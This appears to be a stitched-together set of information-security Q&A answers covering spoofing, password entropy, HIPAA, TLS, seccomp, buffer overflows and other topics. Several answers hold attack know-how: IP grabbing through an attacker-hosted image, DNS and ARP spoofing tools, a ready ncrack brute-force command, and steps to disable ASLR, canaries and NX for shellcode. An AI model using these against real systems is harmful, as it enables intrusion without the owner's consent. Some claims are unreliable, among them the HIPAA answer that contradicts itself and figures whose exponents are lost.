IDS can also work on IP source, destination and other factors, so those will still work on SSL.

If you have provided your IDS with private keys so it can decrypt, or in fact if your SSL endpoint is at the proxy then you can do content inspection as well.


Most methods of getting an IP would usually include some kind of interaction with the victim and a server/service hosted by the attacker.
I have heard of all kinds of crazy ways but in my opinion image loading is the smoothest.

The way it works is the attacker hosts an image on his server and then gets the victims browser to render it.

how?
There are all kinds of different services and social networks that allow you to add an image as a link. The server then saves the link and not the image itself. When the "malicious" link of the image is displayed in an <img> tag the browser then makes a request causing the victims IP to have an interaction with the attackers server.

If you find a web app like this then it looks all legitimate and even when looking at the website all will seem normal making it smooth and quiet.


Does Session hijacking/IP spoofing happen in real time?

This would be ideally done automatically.

I suggest you take a look at DNS Spoofing for reference then you can try it out (on your own privately controlled network) using something like mitmproxy or dnsspoof both of which are available on Kali Linux to intercept DNS requests and redirect them to your own DNS server, or alter the response as suggested in your eBook.

The problem with DNS is that it isn't encrypted or signed, so you don't know if the response is legitimate.

A mitigation against this attack is to use something like DNSSEC which (in brief) is an extension to the original DNS protocol and essentially adds authentication though signing responses so you know the response is from the server you asked.


Failed logins on a windows server - performance impact?

An inbound network logon within Windows will generally have negligible measurable effects on a machine and a failed logon attempt will have even less. However, it is a non-zero cost and whether it will impact your workload is entirely dependent on the resources consumed vs available.

You have to measure what sort of overhead your server has normally. If it's constantly running hot at >95% CPU, or is constantly running out of disk space it might put you over through e.g. event log growth (if it's not constrained to a fixed upper limit).


You can only really calculate entropy assuming it's a randomly generated password, according to some scheme.  So if you randomly take an emoticon from a list of about 256 emoticons (256 = 2^8) and flip a coin to add this to the beginning or end of your password (2=2^1 choices), that adds 9 bits of entropy.  Remember, when things are chosen uniformly, entropy in bits is simply the base-2 logarithm of the number of possible choices.

Please note you should avoid using emoticons with non-ASCII letters in your passwords (emoticons like: ಠ_ಠ or :っ) ) as they'll often be difficult to type on different devices, may possibly be silently stripped out of the password (so add no extra strength) to avoid potential encoding and unicode equivalence issues.


I am not a lawyer.  This is not legal advice.

That said such a site does not seem to be a health care provider, health (insurance) plan, health care clearinghouse, or a business associate of one.  Therefore, HIPAA's rules do apply to your website.  HIPAA's privacy rule only applies to health care providers, health plans, and health care clearinghouses and their business associates.  If you are unsure of whether you are one of these groups, please consult the flowchart from CMS.gov (medicare) (link to page where the PDF is listed).

That said it is still a good idea to protect user's health care data as much as possible, and there are other privacy laws that may be relevant.  For example, Europe has very strict privacy rules (even if they are rarely enforced).

Furthermore, you probably could be a covered entity and create a symptom checker that is HIPAA compliant, especially if the data is anonymous (e.g., not individually identifiable) OR the health care data is only being disclosed to the individual (or their personal representative) OR you have permission in writing from the individual to disclose their health information OR it falls under HIPAA's defined provision of "minimum necessary" use and disclosure (e.g., disclosed to your doctor, nurses, etc who are treating you, as well as health insurers or other people who need the information to properly bill you, etc.).

The reason you want that sort of "not medical advice ... for informational purposes only" disclaimer is not due to HIPAA.  It is to limit being sued for medical malpractice.

If your health tool misdiagnoses someone -- e.g., "you have a common cold ... get bed rest" and it turns out the person had a MRSA infection and they ultimately died as they delayed treatment, someone may try and sue you.  That sort of "informational" disclaimer may lessen your legal liability in some jurisdictions.  That said in other jurisdictions, you may still be held liable for giving bad medical advice if your advice is demonstrably negligent, especially if the disclaimer was small print that's usually ignored or quickly clicked through in an unobtrusive manner or you were charging for the service or it was advertised/described elsewhere as providing medical advice.


A very new Reuters release notes that:

  Former U.S. National Security Agency contractor Edward Snowden used
  login credentials and passwords provided unwittingly by colleagues at
  a spy base in Hawaii to access some of the classified material he
  leaked to the media, sources said.

  A handful of agency employees who gave their login details to Snowden
  were identified, questioned and removed from their assignments, said a
  source close to several U.S. government investigations into the damage
  caused by the leaks.

  Snowden may have persuaded between 20 and 25 fellow workers at the NSA
  regional operations center in Hawaii to give him their logins and
  passwords by telling them they were needed for him to do his job as a
  computer systems administrator, a second source said.

No way to verify if the sources are being truthful. Although the Reuters provenance is somewhat reassuring, everyone makes mistakes.


Client Server TCP connection - sending a password

While there is no good reason to not use TLS to safeguard this, your approach seems okay and here is why:

The computational complexity of hashing sha 256 and encrypting it with (asymmetrical  or hybrid) algorithms is fairly high; there is (currently) no feasible way to brute force that if the passwords are reasonably strong.

Additionally, if you are worried about brute force, you can ban an IP for x hours if the password is entered wrong y times in a row - like fail2ban does - and/or add additional time between logins like GNU/Linux does.

That being said: there is a perfectly good way to authenticate users securely and that is TLS.

To address your trying to encrypt the public key with symmetric encryption: there is no gain in that. If you use reasonably strong key pairs, it should be computationally infeasible to generate the private key from the public key - asymmetric crypto systems are designed in such a way that public keys are meant to be public (hence the name!).

Adding a layer of AES wouldn’t harm that in any way, but introduce additional problems: the client can be reversed to get the key and render your attempt useless - and can be debugged to retrieve the symmetric and/or public key from memory. Also, you add more complexity to your software, increasing the likelihood of failure and error without a benefit.


Which URL schemes are dangerous (XSS exploitable)?

A blacklist of URI schemes is not reliable.

There is no common list of bad URI schemes because it's just not possible to build a complete one. There are lots of non-standard schemes for different browsers and more could be added in the future. (One example of a dangerous non-standard scheme would be livescript: for old Netscape versions.)

This is another good point:

  I do not allow bitcoin: on my servers, nor anything except for http,
  https, or ftp.

  The reason is because I have no way of knowing what third party
  applications might have vulnerabilities (including social engineering)
  that could be exploited by a specially crafted URI string being fed to them.

(Source)

Similarly, there is no blacklist of dangerous HTML tags because - although standardized - browsers still go their own ways with custom tags. Building a comprehensive list would be hopeless.

Another problem is that you could run into problems with nested schemes. What about view-source:data:..., rss:jar:..., etc.?

So it's safer to agree on a whitelist of acceptable schemes and add more on demand. E.g., this is the default on Wordpress:

  $protocols
     (array) (optional) An array of acceptable protocols. Defaults to 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp' if not set.

(Source)


Assuming your home computer is internet-reachable, the easiest thing to do is run an SSH server on your home computer. Then connect to it from your school computer via:

ssh -D 8080 user@home

Then you can set SOCKS proxy of your browser at school to use localhost:8080 and everything will be proxied through the SSH tunnel to home.

There are some issues you'll have to work out:

make sure the port you're going to use isn't firewalled at your school
make sure your home sshd is set up as securely as possible (no root login allowed, disallow password logins, etc)
unless you have a static IP at home, the home computer will need to integrate with a dynamic DNS service so that you know how to reach it


Reason to generate encryption keypair server side rather than on device?

You absolutely don't need to generate a key pair on the server-side. In fact, this is the last thing you want to do.

Generating the keys on the mobile side means that the private key NEVER leaves the device and only the public key gets shared with the server, which minimizes the exposure of the private key.

Public key becomes a fingerprint of the device as you requested.


How to detect suspicious content in a TrueType Font (.ttf) font file

This is an interesting question. Font files are like other media files which might be abused by malware or within exploiting attempts.

Detecting malicious blocks in such media files would follow a signature-based approach: You or your antivirus software would be looking for suspicious pattern.

I'm not aware of a public compilation of malicious code in font files. You might have to compile your own with the help of public vulnerability databases and exploit databases.

Opening an untrusted file on another platform might be able to detect defects without exposing the environment. That is because exploit code usually targets a specific platform and is not possible to succeed on others. A misbehaving font file might then be an indicator for an attack attempt.

Converting a font file from one format to another is basically what a proxy would do (an application gateway is doing this with protocols). A strict implementation would detect misbehavior and fail the conversion. A less strict implementation would ignore the malicious parts and generate a valid file without remaining dangers.


First of all, HTML parsing of emails you don't trust shouldn't be enabled, let alone javascript. It's a serious security risk! All major email client platforms or webmail platforms have options to disable html and/or javascript on mails.

Now on to the question:

It seems that it is part of the cookieinjector greasemonkey script found here: http://dustint.com/code/cookieinjector.user.js

This script is normally used to capture a value (a cookie copied from a wireshark capture) from the form field and inject it to the page its been running from.

Without further access to the code noone can say exactly what is going on by looking at the picture, but my guess is that it is somehow modified to capture values and send them to the attacker, maybe other cookies etc.

It would be nice if you can provide the raw html source of the email so we can check exactly what is going on.


How should we store and share information about our security protocols and plans?

What you are looking for is the term "Operational Security" or "OpSec". You want to keep secret the details of what you will do, in any situation. These details give outside observers the ability to craft approaches and know how (and when) you will respond. The documents you outline are not to be classified as Public data.

The only people who should have access to this data are the ones with a legitimate "need-to-know". This basis forms all authorisations to access any data. The Public has no need to know. Many in your organisation have no need to know.

Only permit access to those who need the data in order to perform their jobs.

If you are looking for official recommendations about response plans, ISO 27035:2011 5.4.4 says:

  It may also be important to keep some details of the information
  security incident management scheme closely held to prevent an insider
  from tampering with the investigation process. For example, if a bank
  employee who is embezzling funds is aware of some details of the
  scheme, he or she may be able to better hide their activities from
  investigators or otherwise hamper the detection, investigation of and
  recovery from an information security incident.


NCrack bruteforcing for http-get using -iL options

Without more context we won't be able to provide exact guidance. But the following sounds like what you'll need:

ncrack -U usernames.txt -P passwords.txt -iL hosts.txt -p8080

-U defines either a single user name or a file containing user names to try.
-P defines either a single password or a file containing passwords to try
-iL options allows you to define multiple hosts names in a file
-p allows you to select a different port for the hosts than default port 80(for http-get) - in this case port 8080.

Remember to only use this tool with explicit permissions from system owners.


If the encryption software stores meta-data or other (unencrypted) signatures/magic-numbers, or verifiable structures, then these can be used for identification of course — but, since this gives the game away in a sense, you'll find that the better ones explicitly do not, e.g. from the Truecrypt volume format specification:

  TrueCrypt volumes have no "signature" or ID strings. Until decrypted, they appear to consist solely of random data.

A TrueCrypt feature is plausible deniability, the intent being to make it impossible to prove the existence of an encrypted volume (or at least makes one's deniability of its existence believable).

I believe EDD relies on signatures for those formats which have identifiable signatures; heuristics, e.g. the presence of non-zero sectors outside a filesystem partition; and more recently named process/driver detection for those lacking signatures. This PDF paper covers some of the known signatures at the time (2005), including PGP (v9). This paper (PDF) is a more recent forensic analysis of OS X FileVault 2, which is interesting reading.

For practical purposes with software-only disk encryption implementations there may be unencrypted, easily identifiable code on the disk, e.g. in the case full-disk encryption with a boot-time password/key prompt. Identifying the bootstrap code may trivially identify the product.

Accurately identifying pseudo-random data is an impossible problem (though at least with encrypted disk volumes you should have a sufficiently large amount of data to make some statistical assertions about the randomness).
A robust encryption algorithm should have an output indistinguishable from random (regardless of identifying metadata in the actual output format), this is what TrueCrypt's plausible deniability relies on.

For performance reasons, disk encryption may not be as cryptographically secure as possible, e.g. there may be limited or no MAC (integrity/anti-tampering), and the encryption mode will localise and limit the required on-disk sectors to be updated (see this Wikipedia page on XTS as used by TrueCrypt for possible problems). These can be leveraged in an active method of attack, e.g. if you can convince someone to store a crafted file (see Water-marking attacks). I'm not aware of any methods which can use these limitations to attack or identify disk encryption (cold-boot attacks seem to be the preferred method, or at least get more attention).

Update:  (Oct. 2013) while reading about the upcoming TrueCrypt open audit project (and here) I found this document:
  Security Analysis of TrueCrypt 7.0a (PDF) from August 2011.


Why does OpenID Connect ("OIDC") use a `nonce` claim instead of the `jti` registered claim

The jti (JWT ID) is chosen by the authentication server in order to identify a token.  As per OpenID Connect, section 9:

  JWT ID. A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties; any such negotiation is beyond the scope of this specification.

The nonce is chosen by the application and passed as a parameter in the authentication request.

  String value used to associate a Client session with an ID Token, and to mitigate replay attacks. The value is passed through unmodified from the Authentication Request to the ID Token. If present in the ID Token, Clients MUST verify that the nonce Claim Value is equal to the value of the nonce parameter sent in the Authentication Request. If present in the Authentication Request, Authorization Servers MUST include a nonce Claim in the ID Token with the Claim Value being the nonce value sent in the Authentication Request. Authorization Servers SHOULD perform no other processing on nonce values used. The nonce value is a case sensitive string.

So they serve different purposes.  And the nonce predates JWT bindings in OAuth2 (although very vaguely defined), and applies even if you use opaque token strings.

Another answer here explains the difference between the state and nonce parameters.


Which browser does not allow "remember me" option?

As all the modern common browsers like IE, mozilla, chrome overrides
  the "autocomplete=off" feature and ask to remember the
  username/password,

Technically Chrome (and others) do not save for autocompletion; they save them to the password manager.  These are two different things and the latter is not proscribed by autocomplete=off.

In Chrome and Firefox the separation from autocompletion, and the use of a more sophisticated password manager, is clear.  In IE it's not; even though the passwords are stored in the Credentials Manager the option is still listed under "AutoComplete"... Caveat Microsoft :)

  is there any not-so-popular modern browser which does not even ask
  the user to remember the user credentials?

I do not know of one, but if you don't like this behavior it's easy to turn off.

In Chrome:

Go to Settings -> Advanced -> Passwords and Forms
Uncheck "Offer to save your web passwords"

In Firefox:

Go to Options -> Security
Uncheck "Remember logins for sites"

In IE:

Go to Internet Options -> Content
Under AutoComplete, click Settings
Uncheck "User names and passwords on forms"


How to prevent ARP poisoning with hostapd and iptables?

You could try to set up a layer 2 firewall via IPTables but I don't see an easy implementation. Maybe you'd like to have a look to ARPTables: https://linux.die.net/man/8/arptables

If you want to detect (not prevent!) ARP spoofing attacks you can use several tools, for example ARPWatch. This tool sends messages to syslog so you can monitor changes on your ARP table. https://linux.die.net/man/8/arpwatch

Also there is an active tool that prevents ARP spoofing attacks on different scenarios (DCHP, static, etc.) although it requires an "agent"
 in each host which may be not ideal depending on your needs:
 https://manpages.debian.org/stretch/arpon/arpon.8.en.html

In any case, and given your scenario (I assume a small home network) another quick fix may be to set up manually the ARP table of your host. For doing so you can use the command (note that after reboot changes will be lost):

arp -s [IP address] [MAC address]

By doing so, you tell your host kernel to associate an IP with a MAC and other requests that will try to overwrite this value will be ignored.
For a more elaborated way of doing this, you could do a script that adds a list of all the IP-MAC within your network that you trust and run it at boot time avoiding possible already-spoofed networks issues.

This has a limitation if you have a host that moves from network to another (Mobile phone or a laptop) unless the script detects the exact network that you're connected to and have multiple lists of trusted IP-MAC. This solution though is highly static and difficult to mantain in large/dynamic enviroments.


Virus/Trojan attached to GnuPG encrypted file

Malware can be distributed in various fashions: as directly executable programs, or hidden in other files and formats used as containers.

If you apply a process that always decrypts a given file, replacing it with directly executable malware is not very promising, decryption will simply fail. In case of public/private key cryptography (and a known public key), of course the encrypted file could be exchanged by another, malicious file. Signing mitigates this, symmetric encryption also does (as there is no "public" key).

On the other hand, there might always exist a bug in the software reading a file: the question "How to inject executable, malicious code into PDF, JPEG, MP3, etc.?" contains some examples. A similar bug could also exist in GnuPG, triggered on decryption or verification of a signature. In this case, a malicious OpenPGP message might result in malware being executed on your computer. If a trojan is run on your computer, obviously also the encrypted content might be revealed.


Change device MAC address to router's MAC address

Each device on the network maintains a table of known ip-mac address mappings. It builds this table based on arp packets. (this is what you see when you type arp -a) You can see these arp packets going over the network if you open up wireshark.

If you were to do as you suggest, and change your machine's mac address to mimic that of the gateway's mac address, I suspect nothing would happen. Mainly because all of the other devices on the network would maintain their original mapping to the default gateway.

In order to spoof other devices on the network you need to force them to update their arp tables.

You can use arpspoof to do this.

Arpspoofing is pretty easy


Is reading from /dev/urandom on macOS Catalina a safe way to produce cryptographically secure data?

So, somewhat serendipitously, Apple released an updated platform security guide in December just gone (Dec 2019).
Which directly covers random number generation for cryptographic purposes:

Random number generation
Cryptographic pseudorandom number generators (CPRNGs) are an important building block for secure software. To this end, Apple provides a trusted software CPRNG running in the iOS, iPadOS, macOS, tvOS, and watchOS kernels. It’s responsible for aggregating raw entropy from the system and providing secure random numbers to consumers in both the kernel and user space.
Entropy sources
The kernel CPRNG is seeded from multiple entropy sources during boot and over the lifetime of the device. These include (contingent on availability):
* The Secure Enclave’s hardware RNG
* Timing-based jitter collected during boot
* Entropy collected from hardware interrupts
* A seed file used to persist entropy across boots
* Intel random instructions, i.e. RDSEED and RDRAND (macOS-only)

The Kernel CPRNG
The kernel CPRNG is a Fortuna-derived design targeting a 256-bit security level. It provides high-quality random numbers to user-space consumers using the following APIs:
* The getentropy(2) system call
* The random device, i.e. `/dev/random`

The kernel CPRNG accepts user-supplied entropy through writes to the random device.

So the answer is Yes, it is still valid to use /dev/urandom/ for generating key material on macOS Catalina (10.15.2 (19C57)).
This also ends my speculation on whether 160-bit Yarrow or 256-bit Fortuna was at the heart of the CSPRNG.


Easiest way to secure my home network from work pc

Buy a small OpenWRT router with a WAN ethernet port and LAN wifi and/or LAN ethernet port.
Plug the WAN port of your OpenWRT router on your home network.
Plug your work computer on the LAN port of your small OpenWRT router.
Configure OpenWRT router's firewall with a strict ruleset allowing only internet access and denying every access to your LAN.

And that's it.
This is basically the cheapest and simplest solution for a poor-man network isolation ;-)
A manageable switch with VLAN support would be the ultimate solution, but the price isn't the same (a small OpenWRT router with dual ethernet and wifi will cost you about 20$).


Is it bad to let admins change a users e-mail when resetting passwords?

Yes, this is definitely a vulnerability. Two actually:

The missing CSRF protection for a sensitive action
Not requiring a password when changing an email address

The first is obvious, and you have already explained why it is bad. The second is bad because it is essentially the same as not requiring a password when changing a password (which is bad), and it obviously lets an admin take over accounts. Combining these two issues, an unauthenticated attacker could take over arbitrary accounts.

Whether the second issue is something that needs to be addressed depends on the application. It might be desired that an administrator has far-reaching permissions, including taking over other users accounts. If this isn't desired, an admin shouldn't have the option to change email addresses, only users themselves should be able to do this.


If you're just accepting files, opening FTP to help them comply with Iranian law is a good idea.

If your friends are taking videos and images which are even unintentionally slightly political in nature, then they should keep a low profile.  I can't fathom why they'd enter the country with computers and start sending encrypted videos outside the country if that was their intent.

http://www.nytimes.com/2012/01/26/world/middleeast/iran-steps-up-arrests-of-journalists-and-bloggers.html

I was travelling in Iran a couple years ago and I didn't dare bring a computer into the country.  They need to ensure that their computers are squeaky clean.  Material offensive to Islam in the eyes of a corrupt government official could be anything.  Concealing their encrypted volumes is not an option.  If they didn't back up their data before crossing the border... I don't know what to say.

Iran's a nice place, but like anywhere in the world, you are subject to their laws in their country.

Without a computer, I carried a small stack of SD cards, had a USB card reader with a read-only flag and sent stuff out from cybercafes.


Why do I get “Cannot find bound of current function” when I overwrite the ret address of a vulnerable program?

Memory is just a huge sequence of bytes. When gdb wants to show you "where" you are, it likes to guess of what "function" the currently executed opcode is part, so that it may write it ("you are in main(), line 17"). To do that, gdb must use some extra information, such as:

symbol tables, which tell where each function begins in the executable file, and possibly their size;
debug information (added by gcc with the '-g' flag);
heuristic analysis of the code chunk, to detect the hallmarks of classic function prologue ("push %ebp; movl %esp, %ebp", aka 0x55 0x89 0xE5) and ending ("ret", 0xC3).

Your "shell code", when in RAM (in the stack), is not in a part which is mapped from the executable file (it is in the stack, instead) and, anyway, was not seen by the compiler, so it is not covered by neither symbol tables or any debugging information. It is also a quite atypical piece of code, with no prologue (the prologue is about preparing the stack so that argument can be retrieved, and the stack cleaned upon exit) and no ending either: the "shell code" does an execve() system call, so it does not care about keeping the stack clean or ever returning. Hence it is no wonder that gdb cannot find where the "function" he jumped in is supposed to begin or end.

Your segmentation fault is quite another matter. My guess is that the pages containing the stack are marked as non-executable, so when jumping to the "shell code", the kernel traps, and kills the offending process. There are several protection mechanisms related to buffer overflows in a Linux system (I assume you are using Linux):

The stack can be marked as "non executable". On x86 32-bit processors, this can be achieved with segments (a remnant from older times) or through the MMU (either with the NX bit, on machines which support it, or with some TLB ninjitsu), or both.
Address Space Layout Randomization modifies addresses of the various elements of an application, in a random way, upon each execution. This makes it much harder for the attacker to guess what will be the value he wants to store (through a buffer overflow) over the "return address" slot. The non-executable stack means that the exploit will have to jump to some existing piece of code (e.g. the libc code), not to some emplacement in the stack; ASLR moves libc around to make hit a hard target.
The code generated by the compiler may include safeguards against accepting the buffer overflow itself. Recent versions of gcc will generate some extra hidden code which verifies whether a buffer overflow occurred before doing the fateful ret. Basically, a "canary" random value is stored upon function entry just before the "return address" slot; a buffer overflow from a local variable, in order to touch the return address, would have to "go over" the canary, and (with high probability) will change its value. The code generated by gcc will check the canary, and abort the process if its value has changed, before returning from the function.

By compiling with -fno-stack-protector, you deactivate the canary code (gcc did not include the canary code in the produced executable). By using sysctl -w kernel.randmoize_va_space=0, you deactivate ASLR (machine-wide). My guess is that the first system (non-executable stack pages) is still active on your machine, hence the segfault. You could try deactivating the NX-bit handling for the stack of your executable by using the execstack command (it seems not to be part of a usual Ubuntu installation; install the "execstack" package to obtain it).


If I have two identical linux virtual machine images, will they generate identical random numbers?

Identical system images will generate different data when pulling from their randomness pool unless you're working a very sterile setup to move them along synchronously one clock cycle at a time.

Activity in the system affects the randomness pool based on events including hardware interrupts. Reality says that disk drives, network cards, and the moment you pressed the power button will all vary. Even a well-disciplined clock will have some variance between machines and that will grow over time.

Some good readings include an academic paper on the Linux RNG and the random.c file from the current kernel source (intentionally unlinked).


How to restrict dlopen() from or to certain paths?

However, this doesn’t works with dynamic libraries.

It does work for dynamic libraries. If a shared object is located on a partition which is mounted with the noexec option, it cannot be loaded, otherwise noexec would be quite useless.

$ grep -E '/tmp |ext4' /proc/mounts
/dev/mapper/root_crypt / ext4 rw,nodev,noatime,data=ordered 0 0
tmpfs /tmp tmpfs rw,nosuid,nodev,noexec,noatime,size=2031200k 0 0
$ cat > main.c
#include <stdio.h>

void main(void)
{
        printf("%d\n", getpid());
}
$ gcc -o main main.c
$ ./main
4950
$ cat > shared.c
int getpid(void)
{
        return 1;
}
$ gcc -shared -fPIC -o shared.so shared.c
$ LD_PRELOAD=./shared.so ./main
1
$ mv shared.so /tmp
$ LD_PRELOAD=/tmp/shared.so ./main
ERROR: ld.so: object '/tmp/shared.so' from LD_PRELOAD cannot be preloaded (failed to map segment from shared object): ignored.
4978

If you want to use seccomp to prevent executing untrusted shared objects, you can do that by restricting calls to mmap(), mprotect(), and obviously execve(). Make sure that the process can't map anything with PROT_EXEC. Restricting files is not enough, because any arbitrary data can be passed to mmap() through a file descriptor, and mprotect() can change the permissions of arbitrary pages of memory to make them executable. Additionally, since this example is a blacklist rather than a whitelist, you'll also have to deny access to some ptrace() arguments, because they can be used to break out of a seccomp sandbox.

rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(mmap), 1,
    SCMP_A2(SCMP_CMP_MASKED_EQ, PROT_EXEC, PROT_EXEC));
if (rc == -1)
    goto out;

rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EACCESS), SCMP_SYS(mprotect), 1,
    SCMP_A2(SCMP_CMP_MASKED_EQ, PROT_EXEC, PROT_EXEC));
if (rc == -1)
    goto out;

rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EACCESS), SCMP_SYS(execve), 0);
if (rc == -1)
    goto out;

rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(ptrace), 1,
    SCMP_A0(SCMP_CMP_EQ, PTRACE_POKEUSER));
if (rc == -1)
    goto out;

rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(ptrace), 1,
    SCMP_A0(SCMP_CMP_EQ, PTRACE_SETREGS));
if (rc == -1)
    goto out;

rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(ptrace), 1,
    SCMP_A0(SCMP_CMP_EQ, PTRACE_SETREGSET));
if (rc == -1)
    goto out;

There are probably ways to bypass this seccomp snippet that I haven't thought about, so this is just to give you an idea of what it takes.

I've never used NaCl so I can't say how you'd restrict execution with it.


When using private browsing can a website view data stored before private browsing was turned on?

Normally cookies are not shared with a normal browser session. When you start a private browsing session, no cookies will be present. If you close your private browsing session all of your cookies will be deleted.

In regard to your IP: considering this will be shared there is a chance of course that the server will be able to see that two sessions have originated from the same IP. Furthermore there are actually more ways to fingerprint a browser (for instance query versions of Java, PDF reader, installed plugins,...) which could compromise your anonymity .


It's not a bug, it's a feature. It might be abused for evil purposes, or misused by developers.

Install NoScript addon, no flash plugin will fire itself up without your consent. This is why firefox will always be more secure than Chrome, alternatives are not up to the task yet and for some reasons it takes time for google developers to provide the necessary interface to NoScript developers in order to easily port it fully. Anyways, they do a great job and keep up with every known abuse of web browsing technology. A must have if you mind about security.


Is SHA1 better than MD5 only because it generates a hash of 160 bits?

Producing SHA-1 collisions is not that easy. It seems reasonable that the attack with has been described on SHA-1 really works with an average cost of 261, much faster than the generic birthday attack (which is in 280), but still quite difficult (doable, but expensive).

That being said, we do not really know what makes hash functions resistant (see for instance this answer for a detailed discussion). With a lot of hand-waving, I could claim that SHA-1 is more robust than MD5 because it has more rounds and because the derivation of the 80 message words in SHA-1 is much more "mixing" than that of MD5 (in particular the 1-bit rotation, which, by the way, is the only difference between SHA-0 and SHA-1, and SHA-0 collisions have been produced).

For more of the same, look at SHA-256, which is much more "massive" (many more operations than SHA-1, yet with a similar structure), and currently unbroken. It is as if there was a minimal amount of operations for a hash function to be secure, for a given structure (but there I am moving my hands at stupendous speed, so don't believe that I said anything really scientific or profound).


Precauations for web application security audit

If you're contracting with a company to pen test and audit your app, you will be wise to scope out exactly what is in the limits of said test, what will be tested and how (it appears you are giving them source to be able to white-box test as well). They will likely work with you to establish the legal agreements that indemnifies them. It should also spell out the expected outputs, the timeframes and methods they will communicate the results to you. All of these things are just ways to make sure you are getting exactly what you expect from them. This is in their best interest too; they want happy customers as well.

Aside from the legal/contractual matters you would be wise to give them an environment as close to or the same as your production one so that the findings are accurate and also if you can perform your own testing ahead of time to remove the "low hanging fruit"- that is, anything that is easy for them to find. Consider code reviews and system design reviews ahead of time to give them what you think is your best. That way you are getting your money's worth.


NOTE: I work at Google now. I didn't work there when I wrote this. This is my own opinion, not Google's. But it's the only opinion that makes any sense. It's also probably the most important thing I've written on this site; you must understand this to understand what online privacy is.

Advertisers use what information they have to try to best guess what sort of ads you will be most interested in. In Google's case, your search activity is probably the best indicator they have, but ad clicks and ad impressions are also considered. In Amazon's case, for example, your purchase and product browsing history is their best indicator, and you'll probably notice that their suggestions closely mirror your recent history — even if that most recent history dates back to two years ago.

My own search and browsing habits tend to favor highly technical content; servers, programming, malware, etc. The ads I see when browsing under that profile therefore tend to also favor technical content: colocation, hosting, software, etc. This is totally Fine By Me™. When I watch TV, I have to endure a depressing amount of ads about feminine incontinence, retirement homes, and herpes medication. But on the Internet, the ads are all software and servers.  Do I think that's creepy? Hell no. The fewer herpes ads the better, IMO.

To be clear: I'm a strong proponent of online privacy. However, I manage my online privacy by controlling the information I make available online. I don't expect others to maintain my privacy for me; the concept doesn't even make sense. If you don't want them to know something, then don't tell them. Telling them and then demanding that they forget is a recipe for disaster on numerous fronts, and even comical from a security standpoint.

My search history is carefully curated; if I don't want a search associated with me, I use a private browsing session. Sure, I could use a service that promises to not remember what I tell them, but I would be an idiot if I were to depend on that promise. Remember Hushmail? Still, I prefer to use a service that allows me to craft my own online preference profile so that they can filter out all the crap I clearly don't want.

Is this legal? — So far yes. I would hope that it remains so, since the unintended consequences of making it illegal would be so far reaching and unexpected that it would have devastating consequences for completely innocent Internet users and site operators. Internet regulation reliably makes things worse.

Does this bother me? — Of course not. If I buy an apple from a market, is it creepy for the vendor to ask me the next day whether I liked my apple? Do I think he's spying on me? If I tell him I liked it, is it creepy for him to suggest that I buy more apples at a subsequent visit? No, of course not. It's just good customer service. If he tells the fruit vendor next door that I like apples, should that be illegal?  Of course not: It's his information to give, just like any conclusions I make about him are my information to share as I see fit.

Vendors online remember what we tell them just like vendors at your local market. My fruit vendor may remember that I visited his store even though I didn't buy anything, and yet I don't assume that he's spying on me. I'm visiting him, not the other way around. Likewise, when I visit Google, I don't think it's spying for them to remember what I ask them.

The biggest problem with online privacy is the implicit belief that because I connect to the Internet from the privacy of my own home, anything I do on the Internet also happens in the privacy of my own home. This is lunacy. Everything you do on the Internet is absolutely public unless you can verifiably prove otherwise.


In kind of security you talk generally of 3 points:

identification
authentification
authorization

You are missing point 2/"never trust the client": You identify the client by the ID and give him the rights based on the ID sent from the client. Like you saw this fails because the client can lie. The most common solutions for authentification at websites are:

Sending an authentification token like a password with the request AND CHECKING SERVERSIDE
Using sessions (like cookies) AND CHECKING SERVERSIDE


A bit is a single 0 or 1. So if you have a 1-bit key, you have just two possibilities: 0, or 1.

If you have a 2-bit key, you have two possibilities for the first bit, and two for the second bit. This gives you 2*2 = 4 possibilities. They are 00, 01, 10, and 11.

If you have a 3-bit key, you have two possibilities for the first bit, two for the second bit, and two for the third bit. This gives you 2*2*2 = 8 possibilities. They are 000, 001, 010, 011, 100, 101, 110, and 111.

So as you can see, the general formula is 2^n possible keys.


Malware infected ATMs in China via specialized device

I don't see why it wouldn't be possible.

Related, and demonstrated on various security events:

Jon and Nils of MWR played with mobile point of service (mPoS) terminals (https://www.mwrinfosecurity.com/media/press-releases/mobile-point-of-sale-devices-could-leave-millions-worldwide-open-to-attack/), and they could exploit a terminal by just a custom bank card which had the exploit.

Example exploits were:

install firmware that logs credit card numbers
extract those logged credit card numbers
play snake on a PoS terminal :)


Security / logging on a Xen-based VPS instance?

Xen allows for transparent copying of a live machine (with Remus). The guest system ("domU" in Xen terminology) needs not be aware of this process. Consequently, if the VPS provider employees are intent on having a look at your machine without being detected, well, they technically can: they "just" have to make a live copy. This is inherent to the concept of virtual machines.


It's unlikely. The primes involved are huge, so the keyspace is massive. Just how massive depends on your key size, but let's pick 512-bit primes for a lower bound example.

The prime counting function gives us an estimate of how many prime numbers are below a given number. It is difficult to compute precisely, but a close estimate is defined as π(x) = x / ln(x), where ln is the natural logarithm. As such, we can compute an estimate of the expected number of primes below the highest value in an n-bit number by computing π(2^n). If we want to exclude all numbers that aren't exactly n-bit, we compute π(2^n) - π(2^(n-1)). This isn't technically required, but it gives us a nice lower bound of how many large primes there are for that key size.

For n = 512 the number of primes required for an exhaustive list is 1.885×10151. If we can store every prime in a 512-bit entry, that's 1.207×10153 bytes, which is 132 orders of magnitude more than we have disk storage capacity in the world.

So no, not really feasible.


Generating Own SSL certificate using DSC issued by a CA

Certificates have depths, which increase as you go down a trust chain, so certificate depth 0 issues certificate depth 1, which issues certificate depth 2, etc...

To satisfactorily verify a full certificate chain, a client connecting to your SSL secured website would have to be able to find the intermediaries, and verify them, until it reaches a trusted certificate, which under any normal circumstances is a CA certificate installed with your OS.

An arbitrary client would not find your intermediary certificate in this case, because it will be equipped with all the usual certificates installed with the OS, but of course, it won't have your intermediary...

A desktop computer, or server, built as part of some sort of special corporate build for the company, can of course be tampered with, by adding certificates, and some companies do this, adding their own root CA with all the other default ones.

